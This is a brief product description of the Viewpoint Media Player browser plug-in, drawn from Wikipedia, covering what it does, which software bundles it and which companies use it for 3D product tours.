 <b>Product description (from <a href='http://en.wikipedia.org/wiki/Viewpoint_Media_Player'>http://en.wikipedia.org/wiki/Viewpoint_Media_Player</a>)</b>

 Viewpoint Media Player is a web browser plug-in that enables users to
 view 3D content and other rich media, such as Flash content and video,
 on the Internet.
 Viewpoint Media Player is included with AOL Instant Greetings, AIM
 Themes and some other web applications.
 Viewpoint Media Player is distributed with AOL, AIM, versions of Netscape,
 certain Adobe products, and some retail computers sold today.
 Despite this, these applications will most often work perfectly when Viewpoint
 is removed.
 A few companies, ranging from online retailers to auto manufacturers,
 use Viewpoint Media Player as the graphics platform for interactive 3D tours
 of their products.
 Viewpoint Media Player powers product tours of the Toyota 4Runner and Sony laptop,
 desktop, and server computing products. Despite the arguable usefulness of Viewpoint,
 the vast majority of sites will stay away from it, and in practice not having
 Viewpoint installed is not going to be an issue.
